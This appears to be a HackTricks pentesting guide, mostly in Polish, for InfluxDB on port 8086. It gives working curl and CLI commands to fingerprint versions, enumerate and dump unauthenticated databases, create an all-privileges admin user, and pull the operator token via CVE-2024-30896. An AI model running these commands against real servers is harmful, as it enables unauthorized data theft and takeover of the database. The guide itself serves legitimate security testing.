8086 - Pentesting InfluxDB
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Informacje podstawowe
InfluxDB to otwartoźródłowa baza danych szeregów czasowych (TSDB) stworzona przez InfluxData. TSDBs są zoptymalizowane do przechowywania i serwowania danych szeregów czasowych, które składają się z par znacznika czasu i wartości. W porównaniu z bazami danych ogólnego przeznaczenia, TSDBs zapewniają znaczną poprawę w zakresie przestrzeni dyskowej i wydajności dla zbiorów danych szeregów czasowych. Wykorzystują specjalizowane algorytmy kompresji i można je skonfigurować tak, aby automatycznie usuwały stare dane. Specjalizowane indeksy baz danych również zwiększają wydajność zapytań.
Domyślny port: 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
Identyfikacja i wersja (HTTP)
- v1.x:
GET /pingzwraca status 204 i nagłówki takie jakX-Influxdb-VersioniX-Influxdb-Build. - v2.x+:
GET /healthzwraca JSON z wersją serwera i statusem. Działa bez auth.
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
Wskazówka: wystawione instancje często również udostępniają Prometheus-style metrics pod /metrics.
Enumeration
Z punktu widzenia pentestera to kolejna baza danych, która może przechowywać wrażliwe informacje, więc warto wiedzieć, jak dumpować wszystkie informacje.
Authentication
InfluxDB może wymagać uwierzytelniania lub nie
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
Jeśli otrzymasz błąd taki jak ten: ERR: unable to parse authentication credentials oznacza to, że oczekuje jakichś poświadczeń.
influx –username influx –password influx_pass
W influxdb istniała luka, która pozwalała na obejście uwierzytelniania: CVE-2019-20933
Ręczna enumeracja (v1 HTTP API / InfluxQL)
Nawet jeśli nie ma dostępnego CLI, HTTP API jest zwykle wystawione na porcie 8086.
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
W niektórych testach z authentication bypass zauważono, że nazwa tabeli musi być ujęta w podwójnych cudzysłowach, np.:
select * from "cpu"
Jeśli uwierzytelnianie jest wyłączone, możesz nawet utworzyć użytkowników i eskalować uprawnienia:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
Informacje z poniższego przykładu CLI pochodzą z here.
Pokaż bazy danych
Znalezione bazy danych to telegraf i internal (znajdziesz ją wszędzie)
> show databases
name: databases
name
----
telegraf
_internal
Pokaż tabele/measurements
InfluxDB documentation wyjaśnia, że measurements w InfluxDB można przyrównać do tabel SQL. Nomenklatura tych measurements wskazuje na ich zawartość — każda przechowuje dane dotyczące konkretnej encji.
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
Pokaż kolumny/klucze pól
Klucze pól są jak kolumny bazy danych
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
Dump Table
Na koniec możesz dump the table, robiąc coś takiego
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (oparte na tokenach)
InfluxDB 2.x wprowadza uwierzytelnianie oparte na tokenach i nowe API (nadal na porcie 8086 domyślnie). Jeśli zdobędziesz token (leaked logs, default deployments, backups) możesz wyenumerować:
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
Uwagi
- Dla v1.8+ istnieją niektóre endpointy kompatybilne z v2 (
/api/v2/query,/api/v2/write,/health). To przydatne, jeśli serwer jest v1, ale akceptuje żądania w stylu v2. - W v2 nagłówek HTTP
Authorizationmusi mieć postaćToken <value>.
Automated Enumeration
msf6 > use auxiliary/scanner/http/influxdb_enum
Najnowsze vulns i privesc warte uwagi (ostatnie lata)
- InfluxDB OSS 2.x do 2.7.11 — ujawnienie tokena operatora (CVE-2024-30896). W określonych warunkach uwierzytelniony użytkownik z dostępem do odczytu do zasobu autoryzacji w domyślnej organizacji mógł listować i pobierać token operatora o zasięgu instancji (np. via
influx auth lsorGET /api/v2/authorizations). Dysponując tym tokenem, atakujący może zarządzać instancją (bucketów, tokenów, użytkowników) i uzyskać dostęp do wszystkich danych we wszystkich organizacjach. Zaktualizuj do poprawionej wersji, gdy będzie dostępna, i unikaj umieszczania zwykłych użytkowników w domyślnej organizacji. Szybki test:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
- Wiele starych deploymentów 1.x nadal wystawia
/queryi/writebez uwierzytelnienia w Internecie. Jeśli uwierzytelnianie jest wyłączone, możesz zrzucać lub nawet modyfikować szeregi czasowe wedle woli; możesz też tworzyć użytkowników z uprawnieniami administratora jak pokazano powyżej. Zawsze weryfikuj za pomocą HTTP API, nawet jeśli CLI cię blokuje.
Referencje
- InfluxData docs: InfluxDB v1/v2 HTTP API reference (endpoints like
/ping,/health,/query,/api/v2/authorizations). https://docs.influxdata.com/influxdb/v1/tools/api/ - CVE-2024-30896 — ujawnienie tokena operatora w InfluxDB OSS 2.x. https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


